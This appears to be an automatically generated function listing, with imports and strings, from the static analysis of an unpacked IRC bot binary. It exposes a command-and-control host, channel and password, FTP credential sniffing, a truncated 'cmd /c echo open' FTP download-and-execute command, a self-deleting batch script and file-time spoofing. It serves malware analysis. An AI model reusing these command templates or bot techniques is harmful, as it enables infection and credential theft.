sub_40F483(0426):
KERNEL32.FindFirstFileA
KERNEL32.FindNextFileA
KERNEL32.FileTimeToLocalFileTime
KERNEL32.FileTimeToSystemTime
KERNEL32.Sleep
KERNEL32.FindClose
"\n"
"PRIVMSG %s :Searching for: %s\r\n"
"\r\n\r\nIndex of %s</TIT"...
"<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
"<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
"<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
"<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
".."
"."
"PM"
"AM"
"%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
"<%s>"
"PRIVMSG %s :%-31s %-21s\n"
"<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
"%s%s/"
"\"><CODE>%.29s>/</CODE></A>"
"\"><CODE>%s/</CODE></A>"
"</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
"<%s>"
"%-31s %-21s\r\n"
"PRIVMSG %s :%-31s %-21s (%s bytes)\n"
"<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
"%s%s"
"\"><CODE>%.30s></CODE></A>"
"\"><CODE>%s</CODE></A>"
"</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
"%-31s %-21s (%i bytes)\r\n"
"PRIVMSG %s :Found %s Files and %s Direc"...
"<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
"Found: %i Files and %i Directories\r\n"
</font></pre></td></tr><tr id="sub_4187BE"><td><pre><a name="sub_4187BE"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_4187BE"><font size=+2>sub_4187BE</a>(04c3)</font>:<font color=darkgreen>
KERNEL32.GetTickCount</font>
<font color=brown></font></pre></td></tr><tr id="sub_41E750"><td><pre><a name="sub_41E750"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41E750"><font size=+2>sub_41E750</a>(05b0)</font>:<font color=darkgreen>
KERNEL32.InterlockedIncrement
KERNEL32.InterlockedDecrement</font>
<font color=brown></font></pre></td></tr><tr id="sub_42CA90"><td><pre><a name="sub_42CA90"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_42CA90"><font size=+2>sub_42CA90</a>(05b0)</font>:<font color=darkgreen>
KERNEL32.InterlockedIncrement
KERNEL32.InterlockedDecrement</font>
<font color=brown></font></pre></td></tr><tr id="sub_4118C1"><td><pre><a name="sub_4118C1"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_4118C1"><font size=+2>sub_4118C1</a>(078a)</font>:<font color=brown>
"FTP sniff"
"#dd"
"NICK "
"220 "
"230 "
"USER "
"PASS "
</font></pre></td></tr><tr id="sub_424370"><td><pre><a name="sub_424370"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_424370"><font size=+2>sub_424370</a>(07be)</font>:<font color=darkgreen>
KERNEL32.GetCPInfo</font>
<font color=brown></font></pre></td></tr><tr id="sub_41E7D0"><td><pre><a name="sub_41E7D0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41E7D0"><font size=+2>sub_41E7D0</a>(07ff)</font>:<font color=darkgreen>
KERNEL32.MultiByteToWideChar
NTDLL.RtlGetLastWin32Error</font>
<font color=brown></font></pre></td></tr><tr id="sub_430870"><td><pre><a name="sub_430870"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_430870"><font size=+2>sub_430870</a>(0822)</font>:<font color=darkgreen>
KERNEL32.GetVersionExA</font>
<font color=brown></font></pre></td></tr><tr id="sub_4225E0"><td><pre><a name="sub_4225E0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_4225E0"><font size=+2>sub_4225E0</a>(08ae)</font>:<font color=brown>
"filename != NULL"
"_open.c"
"mode != NULL"
"_open.c"
"_open.c"
</font></pre></td></tr><tr id="sub_41ECE0"><td><pre><a name="sub_41ECE0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41ECE0"><font size=+2>sub_41ECE0</a>(0ad9)</font>:<font color=darkgreen>
NTDLL.RtlEnterCriticalSection</font>
<font color=brown></font></pre></td></tr><tr id="sub_41ED50"><td><pre><a name="sub_41ED50"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41ED50"><font size=+2>sub_41ED50</a>(0ad9)</font>:<font color=darkgreen>
NTDLL.RtlLeaveCriticalSection</font>
<font color=brown></font></pre></td></tr><tr id="sub_416899"><td><pre><a name="sub_416899"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_416899"><font size=+2>sub_416899</a>(0b6c)</font>:<font color=darkgreen>
NTDLL.RtlGetLastWin32Error</font>
<font color=brown>
"The following Windows services are regi"...
" Unknown"
" Paused"
" Pausing"
" Continuing"
" Running"
" Stoping"
" Starting"
" Stopped"
"%s: %s (%s)"
</font></pre></td></tr><tr id="sub_412B9A"><td><pre><a name="sub_412B9A"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_412B9A"><font size=+2>sub_412B9A</a>(0c04)</font>:<font color=darkgreen>
KERNEL32.ExitThread</font>
<font color=brown></font></pre></td></tr><tr id="sub_4129F7"><td><pre><a name="sub_4129F7"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_4129F7"><font size=+2>sub_4129F7</a>(0c04)</font>:<font color=darkgreen>
KERNEL32.ExitThread</font>
<font color=brown></font></pre></td></tr><tr id="sub_41897B"><td><pre><a name="sub_41897B"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41897B"><font size=+2>sub_41897B</a>(0c5f)</font>:<font color=darkgreen>
KERNEL32.GetVersionExA
KERNEL32.GetSystemDirectoryA
KERNEL32.GetDateFormatA
KERNEL32.GetTimeFormatA
KERNEL32.GlobalMemoryStatus</font>
<font color=brown>
"2003"
"???"
"%s (%s)"
"couldn't resolve host"
"dd:MMM:yyyy"
"HH:mm:ss"
</font></pre></td></tr><tr id="sub_41184B"><td><pre><a name="sub_41184B"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41184B"><font size=+2>sub_41184B</a>(0d1f)</font>:<font color=brown>
"#dd"
"You are now an IRC Operator"
</font></pre></td></tr><tr id="sub_41B070"><td><pre><a name="sub_41B070"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41B070"><font size=+2>sub_41B070</a>(0d6b)</font>:<font color=brown>
"file != NULL"
"fopen.c"
"*file != _T('\\0')"
"fopen.c"
"mode != NULL"
"fopen.c"
"*mode != _T('\\0')"
"fopen.c"
</font></pre></td></tr><tr id="sub_40D974"><td><pre><a name="sub_40D974"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_40D974"><font size=+2>sub_40D974</a>(0ff5)</font>:<font color=darkgreen>
WS2_32.inet_addr
WS2_32.htons
WS2_32.socket
WS2_32.connect
WS2_32.recv
WS2_32.send
WS2_32.closesocket</font>
<font color=brown>
"cmd /c echo open %s %d >> ii &echo user"...
</font></pre></td></tr><tr id="sub_40DAB6"><td><pre><a name="sub_40DAB6"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_40DAB6"><font size=+2>sub_40DAB6</a>(0ff5)</font>:<font color=darkgreen>
WS2_32.inet_addr
WS2_32.htons
WS2_32.socket
WS2_32.connect
WS2_32.recv
WS2_32.send
WS2_32.closesocket</font>
<font color=brown>
"cmd /c echo open %s %d >> ii &echo user"...
</font></pre></td></tr><tr id="sub_429AB0"><td><pre><a name="sub_429AB0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_429AB0"><font size=+2>sub_429AB0</a>(1250)</font>:<font color=darkgreen>
KERNEL32.UnhandledExceptionFilter</font>
<font color=brown></font></pre></td></tr><tr id="sub_417820"><td><pre><a name="sub_417820"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_417820"><font size=+2>sub_417820</a>(12e2)</font>:<font color=darkgreen>
KERNEL32.ExitThread</font>
<font color=brown></font></pre></td></tr><tr id="sub_415056"><td><pre><a name="sub_415056"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_415056"><font size=+2>sub_415056</a>(1416)</font>:<font color=brown>
"%sKB"
"%sKB"
"%sKB"
"failed"
"failed"
"failed"
</font></pre></td></tr><tr id="sub_42BCE0"><td><pre><a name="sub_42BCE0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_42BCE0"><font size=+2>sub_42BCE0</a>(15f7)</font>:<font color=darkgreen>
NTDLL.RtlLeaveCriticalSection</font>
<font color=brown></font></pre></td></tr><tr id="sub_41FAA0"><td><pre><a name="sub_41FAA0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41FAA0"><font size=+2>sub_41FAA0</a>(16bb)</font>:<font color=darkgreen>
NTDLL.RtlDeleteCriticalSection</font>
<font color=brown></font></pre></td></tr><tr id="sub_409B6C"><td><pre><a name="sub_409B6C"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_409B6C"><font size=+2>sub_409B6C</a>(1718)</font>:<font color=brown>
"Kernel32.dll failed. <%d>"
"User32.dll failed. <%d>"
"Advapi32.dll failed. <%d>"
"Gdi32.dll failed. <%d>"
"Ws2_32.dll failed. <%d>"
"Wininet.dll failed. <%d>"
"Icmp.dll failed. <%d>"
"Netapi32.dll failed. <%d>"
"Dnsapi.dll failed. <%d>"
"Iphlpapi.dll failed. <%d>"
"Mpr32.dll failed. <%d>"
"Shell32.dll failed. <%d>"
"Odbc32.dll failed. <%d>"
</font></pre></td></tr><tr id="sub_434670"><td><pre><a name="sub_434670"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_434670"><font size=+2>sub_434670</a>(1898)</font>:<font color=darkgreen>
KERNEL32.GetLocaleInfoW
KERNEL32.GetLocaleInfoA
KERNEL32.MultiByteToWideChar</font>
<font color=brown></font></pre></td></tr><tr id="sub_40F1D3"><td><pre><a name="sub_40F1D3"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_40F1D3"><font size=+2>sub_40F1D3</a>(194c)</font>:<font color=darkgreen>
KERNEL32.GetFileAttributesA
KERNEL32.CreateFileA
KERNEL32.GetFileSize
KERNEL32.CloseHandle
KERNEL32.CreateThread
KERNEL32.Sleep
NTDLL.RtlGetLastWin32Error</font>
<font color=brown>
"\\%s"
"%s"
"%s%s"
"\n"
"*"
</font></pre></td></tr><tr id="sub_415F91"><td><pre><a name="sub_415F91"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_415F91"><font size=+2>sub_415F91</a>(1cd5)</font>:<font color=darkgreen>
KERNEL32.CreateFileMappingA
KERNEL32.MapViewOfFile
KERNEL32.UnmapViewOfFile
KERNEL32.CloseHandle</font>
<font color=brown>
"mIRC"
"mIRC"
</font></pre></td></tr><tr id="sub_4188BF"><td><pre><a name="sub_4188BF"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_4188BF"><font size=+2>sub_4188BF</a>(1ce7)</font>:<font color=darkgreen>
KERNEL32.Sleep</font>
<font color=brown></font></pre></td></tr><tr id="sub_41A000"><td><pre><a name="sub_41A000"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41A000"><font size=+2>sub_41A000</a>(1dec)</font>:<font color=brown>
"memory check error at 0x%08X = 0x%02X, "...
</font></pre></td></tr><tr id="sub_4349C0"><td><pre><a name="sub_4349C0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_4349C0"><font size=+2>sub_4349C0</a>(1e26)</font>:<font color=darkgreen>
KERNEL32.CompareStringW
KERNEL32.CompareStringA
KERNEL32.GetCPInfo
KERNEL32.MultiByteToWideChar</font>
<font color=brown>
"cchCount1==0 && cchCount2==1 || cchCoun"...
</font></pre></td></tr><tr id="sub_4178FE"><td><pre><a name="sub_4178FE"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_4178FE"><font size=+2>sub_4178FE</a>(1e2b)</font>:<font color=darkgreen>
KERNEL32.OpenProcess
KERNEL32.TerminateProcess
KERNEL32.CloseHandle</font>
<font color=brown></font></pre></td></tr><tr id="sub_422AF0"><td><pre><a name="sub_422AF0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_422AF0"><font size=+2>sub_422AF0</a>(1ed9)</font>:<font color=brown>
"_flsbuf.c"
"(\"inconsistent IOB fields\", stream->_pt"...
"_flsbuf.c"
</font></pre></td></tr><tr id="sub_41A090"><td><pre><a name="sub_41A090"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41A090"><font size=+2>sub_41A090</a>(207f)</font>:<font color=brown>
"_heapchk fails with _HEAPBADBEGIN.\n"
"%s"
"_heapchk fails with _HEAPBADNODE.\n"
"%s"
"_heapchk fails with _HEAPBADEND.\n"
"%s"
"_heapchk fails with _HEAPBADPTR.\n"
"%s"
"_heapchk fails with unknown return valu"...
"%s"
"DAMAGE: before %hs block (#%d) at 0x%08"...
"DAMAGE: after %hs block (#%d) at 0x%08X"...
"DAMAGE: on top of Free block at 0x%08X."...
"%hs allocated at file %hs(%d).\n"
"%hs located at 0x%08X is %u bytes long."...
</font></pre></td></tr><tr id="sub_417A44"><td><pre><a name="sub_417A44"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_417A44"><font size=+2>sub_417A44</a>(21b8)</font>:<font color=darkgreen>
KERNEL32.PeekNamedPipe
KERNEL32.GetExitCodeProcess
KERNEL32.Sleep
KERNEL32.ReadFile
KERNEL32.ExitThread</font>
<font color=brown></font></pre></td></tr><tr id="sub_40B6EA"><td><pre><a name="sub_40B6EA"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_40B6EA"><font size=+2>sub_40B6EA</a>(22a3)</font>:<font color=brown>
"%d.%d.%d.%d"
</font></pre></td></tr><tr id="sub_424C00"><td><pre><a name="sub_424C00"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_424C00"><font size=+2>sub_424C00</a>(2402)</font>:<font color=brown>
"flag == 0 || flag == 1"
"_sftbuf.c"
</font></pre></td></tr><tr id="sub_41FA60"><td><pre><a name="sub_41FA60"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41FA60"><font size=+2>sub_41FA60</a>(2601)</font>:<font color=darkgreen>
KERNEL32.InitializeCriticalSection</font>
<font color=brown></font></pre></td></tr><tr id="sub_428C90"><td><pre><a name="sub_428C90"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_428C90"><font size=+2>sub_428C90</a>(270a)</font>:<font color=brown>
"setlocal.c"
</font></pre></td></tr><tr id="sub_42BC50"><td><pre><a name="sub_42BC50"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_42BC50"><font size=+2>sub_42BC50</a>(2ae8)</font>:<font color=darkgreen>
KERNEL32.InitializeCriticalSection
NTDLL.RtlEnterCriticalSection</font>
<font color=brown></font></pre></td></tr><tr id="sub_414A1D"><td><pre><a name="sub_414A1D"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_414A1D"><font size=+2>sub_414A1D</a>(2ca6)</font>:<font color=darkgreen>
KERNEL32.CreateFileA
KERNEL32.ExitThread
KERNEL32.GetTickCount
KERNEL32.WriteFile
KERNEL32.CloseHandle
KERNEL32.CreateProcessA
KERNEL32.ExitProcess</font>
<font color=brown>
"open"
</font></pre></td></tr><tr id="sub_40DF89"><td><pre><a name="sub_40DF89"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_40DF89"><font size=+2>sub_40DF89</a>(2cd6)</font>:<font color=darkgreen>
KERNEL32.WriteFile</font>
<font color=brown></font></pre></td></tr><tr id="sub_4193C0"><td><pre><a name="sub_4193C0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_4193C0"><font size=+2>sub_4193C0</a>(2daa)</font>:<font color=brown>
"_CrtCheckMemory()"
"dbgheap.c"
"Client hook re-allocation failure at fi"...
"Client hook re-allocation failure.\n"
"%s"
"Allocation too large or negative: %u by"...
"Error: memory allocation: bad memory bl"...
"%s"
"_CrtIsValidHeapPointer(pUserData)"
"dbgheap.c"
"pOldBlock->nLine == IGNORE_LINE && pOld"...
"dbgheap.c"
"_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLO"...
"dbgheap.c"
"fRealloc || (!fRealloc && pNewBlock == "...
"dbgheap.c"
"_pLastBlock == pOldBlock"
"dbgheap.c"
"_pFirstBlock == pOldBlock"
"dbgheap.c"
</font></pre></td></tr><tr id="sub_40FD11"><td><pre><a name="sub_40FD11"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_40FD11"><font size=+2>sub_40FD11</a>(2f11)</font>:<font color=darkgreen>
KERNEL32.ExitThread</font>
<font color=brown>
" : USERID : UNIX : %s\r\n"
</font></pre></td></tr><tr id="sub_41517A"><td><pre><a name="sub_41517A"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41517A"><font size=+2>sub_41517A</a>(3303)</font>:<font color=brown>
"failed"
</font></pre></td></tr><tr id="sub_41C1C0"><td><pre><a name="sub_41C1C0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41C1C0"><font size=+2>sub_41C1C0</a>(331e)</font>:<font color=brown>
"fprintf.c"
"format != NULL"
"fprintf.c"
</font></pre></td></tr><tr id="sub_421830"><td><pre><a name="sub_421830"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_421830"><font size=+2>sub_421830</a>(36ab)</font>:<font color=darkgreen>
KERNEL32.IsBadWritePtr</font>
<font color=brown></font></pre></td></tr><tr id="sub_428E30"><td><pre><a name="sub_428E30"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_428E30"><font size=+2>sub_428E30</a>(3752)</font>:<font color=brown>
"setlocal.c"
"="
";"
</font></pre></td></tr><tr id="sub_427240"><td><pre><a name="sub_427240"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_427240"><font size=+2>sub_427240</a>(3868)</font>:<font color=darkgreen>
KERNEL32.GetModuleHandleA
KERNEL32.GetProcAddress</font>
<font color=brown>
"KERNEL32"
"IsProcessorFeaturePresent"
</font></pre></td></tr><tr id="sub_424210"><td><pre><a name="sub_424210"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_424210"><font size=+2>sub_424210</a>(3873)</font>:<font color=darkgreen>
KERNEL32.GetOEMCP
KERNEL32.GetACP</font>
<font color=brown></font></pre></td></tr><tr id="sub_42DE70"><td><pre><a name="sub_42DE70"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_42DE70"><font size=+2>sub_42DE70</a>(3af7)</font>:<font color=darkgreen>
KERNEL32.IsBadReadPtr</font>
<font color=brown></font></pre></td></tr><tr id="sub_42DEA0"><td><pre><a name="sub_42DEA0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_42DEA0"><font size=+2>sub_42DEA0</a>(3af7)</font>:<font color=darkgreen>
KERNEL32.IsBadWritePtr</font>
<font color=brown></font></pre></td></tr><tr id="sub_41615A"><td><pre><a name="sub_41615A"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41615A"><font size=+2>sub_41615A</a>(3cc3)</font>:<font color=darkgreen>
KERNEL32.GetTempPathA
KERNEL32.CreateFileA
KERNEL32.WriteFile
KERNEL32.CloseHandle
KERNEL32.GetModuleHandleA
KERNEL32.GetModuleFileNameA
KERNEL32.GetFileAttributesA
KERNEL32.SetFileAttributesA
KERNEL32.ExpandEnvironmentStringsA
KERNEL32.CreateProcessA</font>
<font color=brown>
"%sdel.bat"
"@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
"%%comspec%% /c %s %s"
</font></pre></td></tr><tr id="sub_40B9F0"><td><pre><a name="sub_40B9F0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_40B9F0"><font size=+2>sub_40B9F0</a>(3d81)</font>:<font color=darkgreen>
KERNEL32.GetTickCount
NTDLL.RtlEnterCriticalSection
NTDLL.RtlLeaveCriticalSection
KERNEL32.Sleep
KERNEL32.ExitThread</font>
<font color=brown>
"sym"
</font></pre></td></tr><tr id="sub_4162E2"><td><pre><a name="sub_4162E2"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_4162E2"><font size=+2>sub_4162E2</a>(3f0f)</font>:<font color=darkgreen>
KERNEL32.GetVersionExA
NTDLL.RtlGetLastWin32Error</font>
<font color=brown></font></pre></td></tr><tr id="sub_416016"><td><pre><a name="sub_416016"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_416016"><font size=+2>sub_416016</a>(3f4b)</font>:<font color=darkgreen>
KERNEL32.CreateFileA
KERNEL32.GetFileTime
KERNEL32.CloseHandle
KERNEL32.SetFileTime</font>
<font color=brown>
"explorer.exe"
</font></pre></td></tr><tr id="sub_42CD00"><td><pre><a name="sub_42CD00"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_42CD00"><font size=+2>sub_42CD00</a>(3fad)</font>:<font color=brown>
"ungetc.c"
</font></pre></td></tr><tr id="sub_410234"><td><pre><a name="sub_410234"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_410234"><font size=+2>sub_410234</a>(3fdf)</font>:<font color=darkgreen>
KERNEL32.ExitThread</font>
<font color=brown></font></pre></td></tr><tr id="sub_416BCB"><td><pre><a name="sub_416BCB"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_416BCB"><font size=+2>sub_416BCB</a>(3fe3)</font>:<font color=brown>
"Share name: Resource: "...
"Yes"
"No"
"%-14S %-24S %-6u %-4s"
</font></pre></td></tr><tr id="sub_424AA0"><td><pre><a name="sub_424AA0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_424AA0"><font size=+2>sub_424AA0</a>(4039)</font>:<font color=brown>
"_sftbuf.c"
"_sftbuf.c"
</font></pre></td></tr><tr id="sub_40D37E"><td><pre><a name="sub_40D37E"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_40D37E"><font size=+2>sub_40D37E</a>(4089)</font>:<font color=darkgreen>
KERNEL32.WriteFile</font>
<font color=brown></font></pre></td></tr><tr id="sub_4185E1"><td><pre><a name="sub_4185E1"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_4185E1"><font size=+2>sub_4185E1</a>(4107)</font>:<font color=brown>
"www.schlund.net"
"www.utwente.nl"
"verio.fr"
"www.1und1.de"
"www.switch.ch"
"www.belwue.de"
"de.yahoo.com"
"www.google.it"
"www.xo.net"
"www.stanford.edu"
"www.verio.com"
"www.nocster.com"
"www.rit.edu"
"www.cogentco.com"
"www.burst.net"
"nitro.ucsc.edu"
"www.level3.com"
"www.above.net"
"www.easynews.com"
"www.google.com"
"www.lib.nthu.edu.tw"
"www.st.lib.keio.ac.jp"
"www.d1asia.com"
"www.nifty.com"
"yahoo.co.jp"
"www.google.co.jp"
</font></pre></td></tr><tr id="sub_41F260"><td><pre><a name="sub_41F260"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41F260"><font size=+2>sub_41F260</a>(41a7)</font>:<font color=darkgreen>
KERNEL32.GetModuleFileNameA</font>
<font color=brown>
"szUserMessage != NULL"
"dbgrpt.c"
"<program name unknown>"
"..."
"..."
"\n\nFor information on how your program c"...
"Expression: "
"\n\n"
"\nLine: "
"\nFile: "
"\nModule: "
"Debug %s!\n\nProgram: %s%s%s%s%s%s%s%s%s%"...
"_CrtDbgReport: String too long or IO Er"...
"Microsoft Visual C++ Debug Library"
</font></pre></td></tr><tr id="sub_42F1E0"><td><pre><a name="sub_42F1E0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_42F1E0"><font size=+2>sub_42F1E0</a>(4234)</font>:<font color=brown>
"initnum.c"
"."
"initnum.c"
"initnum.c"
</font></pre></td></tr><tr id="sub_41FDD0"><td><pre><a name="sub_41FDD0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41FDD0"><font size=+2>sub_41FDD0</a>(429b)</font>:<font color=darkgreen>
NTDLL.RtlAllocateHeap
NTDLL.RtlReAllocateHeap</font>
<font color=brown></font></pre></td></tr><tr id="sub_410938"><td><pre><a name="sub_410938"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_410938"><font size=+2>sub_410938</a>(4448)</font>:<font color=darkgreen>
KERNEL32.CreatePipe
NTDLL.RtlGetLastWin32Error
KERNEL32.CloseHandle</font>
<font color=brown></font></pre></td></tr><tr id="sub_410B0A"><td><pre><a name="sub_410B0A"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_410B0A"><font size=+2>sub_410B0A</a>(4559)</font>:<font color=darkgreen>
KERNEL32.ReadFile
NTDLL.RtlGetLastWin32Error</font>
<font color=brown></font></pre></td></tr><tr id="sub_41A930"><td><pre><a name="sub_41A930"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41A930"><font size=+2>sub_41A930</a>(456d)</font>:<font color=brown>
"Dumping objects ->\n"
"%s"
"#File Error#(%d) : "
"%hs(%d) : "
"{%ld} "
"client block at 0x%08X, subtype %x, %u "...
"normal block at 0x%08X, %u bytes long.\n"...
"crt block at 0x%08X, subtype %x, %u byt"...
"Object dump complete.\n"
"%s"
</font></pre></td></tr><tr id="sub_40A44E"><td><pre><a name="sub_40A44E"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_40A44E"><font size=+2>sub_40A44E</a>(468e)</font>:<font color=darkgreen>
KERNEL32.GetTickCount</font>
<font color=brown>
"mIRC"
"[M]"
"[%d]%s"
"mIRC"
"[M]"
</font></pre></td></tr><tr id="sub_42CB10"><td><pre><a name="sub_42CB10"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_42CB10"><font size=+2>sub_42CB10</a>(4816)</font>:<font color=darkgreen>
KERNEL32.MultiByteToWideChar</font>
<font color=brown>
"MB_CUR_MAX == 1 || MB_CUR_MAX == 2"
</font></pre></td></tr><tr id="sub_41AD10"><td><pre><a name="sub_41AD10"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41AD10"><font size=+2>sub_41AD10</a>(494e)</font>:<font color=brown>
"Detected memory leaks!\n"
"%s"
</font></pre></td></tr><tr id="sub_40AEDE"><td><pre><a name="sub_40AEDE"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_40AEDE"><font size=+2>sub_40AEDE</a>(4c22)</font>:<font color=brown>
" Scan Time: %s."
</font></pre></td></tr><tr id="sub_410BBC"><td><pre><a name="sub_410BBC"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_410BBC"><font size=+2>sub_410BBC</a>(4e7e)</font>:<font color=darkgreen>
KERNEL32.GenerateConsoleCtrlEvent
KERNEL32.WriteFile</font>
<font color=brown></font></pre></td></tr><tr id="sub_40141B"><td><pre><a name="sub_40141B"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_40141B"><font size=+2>sub_40141B</a>(4f4d)</font>:<font color=darkgreen>
KERNEL32.GetTickCount
KERNEL32.CreateMutexA
KERNEL32.WaitForSingleObject
KERNEL32.ExitProcess
KERNEL32.GetSystemDirectoryA
KERNEL32.GetModuleHandleA
KERNEL32.GetModuleFileNameA
KERNEL32.GetFileAttributesA
KERNEL32.SetFileAttributesA
KERNEL32.CopyFileA
NTDLL.RtlGetLastWin32Error
KERNEL32.Sleep
KERNEL32.GetCurrentProcessId
KERNEL32.OpenProcess
KERNEL32.CreateProcessA
KERNEL32.CloseHandle
KERNEL32.DeleteFileA
KERNEL32.CreateThread</font>
<font color=brown>
"k333yx"
"%s%s"
"%s\\%s"
"%s %d \"%s\""
"mom.arab-hacker.org"
"#dd"
"dpass"
"mom.arab-hacker.org"
"#dd"
"dpass"
</font></pre></td></tr><tr id="sub_42E860"><td><pre><a name="sub_42E860"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_42E860"><font size=+2>sub_42E860</a>(5012)</font>:<font color=brown>
"inittime.c"
</font></pre></td></tr><tr id="sub_423EC0"><td><pre><a name="sub_423EC0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_423EC0"><font size=+2>sub_423EC0</a>(5077)</font>:<font color=darkgreen>
KERNEL32.GetCPInfo</font>
